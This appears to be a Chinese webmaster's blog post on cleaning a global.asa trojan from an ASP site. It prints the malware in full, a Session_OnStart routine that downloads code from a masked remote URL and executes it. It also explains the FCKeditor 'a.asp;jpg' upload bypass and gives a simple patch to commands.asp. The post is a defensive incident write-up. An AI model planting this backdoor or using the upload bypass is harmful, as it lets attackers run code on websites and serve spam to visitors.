XinFocus'Blog 聚焦互联网技术_网络营销推广_工商财税_知识产权_商标专利_苏州创客_创业政策_美文分享

global.asa木马解决方案(亲测)

这几天我的一个网站被黑客盯上了,输入网址的时候正常显示网站;但是在搜索引擎里面搜网站打开后竟然是黄色网站信息!让人深恶痛绝啊!开始我以为是首页或者调用的某个页面被挂马了,查看网页上传日期和网页代码;没有发现被修改的痕迹;之后又怀疑服务器问题;因为网站在根目录无故出现了个global.asa文件开始只能看到一句话<script language="vbscript" runat="server"> 下面全是空白,就怀疑是服务器问题;
服务器杀毒,重装;还是出现问题!黄色信息还是不断生成,删除了global.asa隔几个小时还是会自动生成!后来发现还有下拉条;看到下面还有很多内容!:
'by_aming
'by*aming
sub Application_OnStart
end sub

sub Application_OnEnd
end sub

sub Session_OnStart
 url="http*********"
 Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")
 ObjXMLHTTP.Open "GET",url,False
 ObjXMLHTTP.setRequestHeader "User-Agent",url
 ObjXMLHTTP.send
 GetHtml=ObjXMLHTTP.responseBody
 Set ObjXMLHTTP=Nothing
 set objStream = Server.CreateObject("Adodb.Stream")
 objStream.Type = 1
 objStream.Mode =3
 objStream.Open
 objStream.Write GetHtml
 objStream.Position = 0
 objStream.Type = 2
 objStream.Charset = "gb2312"
 GetHtml = objStream.ReadText
 objStream.Close
  Session("str") = GetHtml
 if instr(GetHtml,"by*aming")>0 then
  execute GetHtml
 end if
end sub

'sub Session_OnEnd
'end sub
</script></body></html>
</body></html>
之后自己开始查看网站的运行日志,希望能查出点蛛丝马迹,在global.asa生成的时间点附近的日志调用出来;也没发现什么异常!
 


--------------------------------------------------------------------------------

(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html) 200 0 0 10845
2011-07-16 00:54:49 W3SVC203 115.47.73.13 GET /index.asp uid=13225&uid2=78828 80 - 123.125.71.27 Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html) 200 0 0 10924
2011-07-16 00:54:53 W3SVC203 115.47.73.13 GET /index.asp uid=13250&uid2=96521 80 - 123.125.71.19 Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html) 200 0 0 11157
2011-07-16 00:54:54 W3SVC203 115.47.73.13 GET /index.asp uid=13261&uid2=96532 80 - 123.125.71.33 Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html) 200 0 64 0
2011-07-16 00:54:57 W3SVC203 115.47.73.13 GET /index.asp uid=13559&uid2=96830 80 - 123.125.71.14 Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html) 200 0 0 10704
2011-07-16 00:55:00 W3SVC203 115.47.73.13 GET /index.asp uid=13745&uid2=51600 80 - 123.125.71.33 Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html) 200 0 0 11114
2011-07-16 00:55:02 W3SVC203 115.47.73.13 GET /index.asp uid=13751&uid2=30094 80 - 123.125.71.14 Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html) 200 0 0 10914
2011-07-16 00:55:04 W3SVC203 115.47.73.13 GET /index.asp uid=14029&uid2=39621 80 - 123.125.71.14 Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html) 200 0 0 10744
2011-07-16 00:55:08 W3SVC203 115.47.73.13 GET /index.asp uid=14097&uid2=39688 80 - 123.125.71.12 Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html) 200 0 0 10881
 


--------------------------------------------------------------------------------

文件挨个查看,想起来以前网站被挂马时候有的是被上传了文件,到upload文件夹一块果然有个莫名文件!2011071711452729.asp;jpg  ;虽然限制了不能上传asp文件,没想到黑客很聪明;用了改名后面加了个分号jpg;将这个文件删除了也不一定能解决问题;黑客很可能还会重新上传;那么自己网站的上传组件跟定有漏洞让黑客钻了空子;检查上传组件
 

笔者的网站,最近中了一个很奇怪的病毒,只要打开网站,在网站上面就会出现其他网站的内容,很是奇怪,笔者以前也从来没有碰到过这样的病毒,经过查证源文件并没有被修改,以为是DNS出了问题,就没管它,笔者也是无意中才发现,原来还真的是自己的网站中了木马了。笔者真的很佩服使用这种方法的人。下面开始讲这种病毒的大致原理和方法吧:

1
、首先是运用global.asa这个文件,学过asp程序的都应该知道这个文件是干什么的吧,就不多说了,百度里也有一堆,简单的说该文件的作用就是让本网站所有asp文件先执行它,只要把木马加到这个文件里,所有asp文件都会中这个病毒,强大吧!

2
、第二就是运用MSXML2.serverXMLHTTP这个机制来读出木马源文件里内容直接显示,不需要iframe,也不需要js,这是笔者最佩服的地方,以前笔者经常用这个机制生成静态页,没想到还能制造病毒,看来真的是笔者太不聪明了,要不然也不会走那么长的弯路。

3
、还是谈谈木马是怎么被上传上去的吧,不知道中这个木马的原理是不是都一样,我只说笔者自己的这个羟丙基甲基纤维素www.sdhpmc.com的网站,笔者用的是fckeditor编辑器,相信大家都听过,它虽然限制了上传.ASP文件,但黑客(其实我很尊重他们的,不过也不知道该怎么称呼他们)只要把比如a.asp改成a.asp;jpg,就是加上一个分号再加上一个jpg,该编辑器就束手无策了。而且也能被执行。呵呵,笔者又学了一招。

4
、还是说说我是怎么解决的吧,fckeditor这个编辑器里有一个文件commands.asp,大概路径是/fckeditor/editor/filemanager/connectors/asp/commands.asp。在这个文件里找到FileUpload这个过程,在大概151行这个位置把原来的 If oUploader.ErrNum > 0 Then sErrorNumber = "202" 改成 If oUploader.ErrNum > 0 or instr(oUploader.File( "NewFile" ).Name,".asp")>0 Then sErrorNumber = "202"。这样只要文件名里含有.asp的都会报错,至少这个方法可以杜绝文件名里包含.asp的文件。

留言列表
一站长
一站长 谢谢,找了几天,终于找到解决方法了~
发表留言
◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。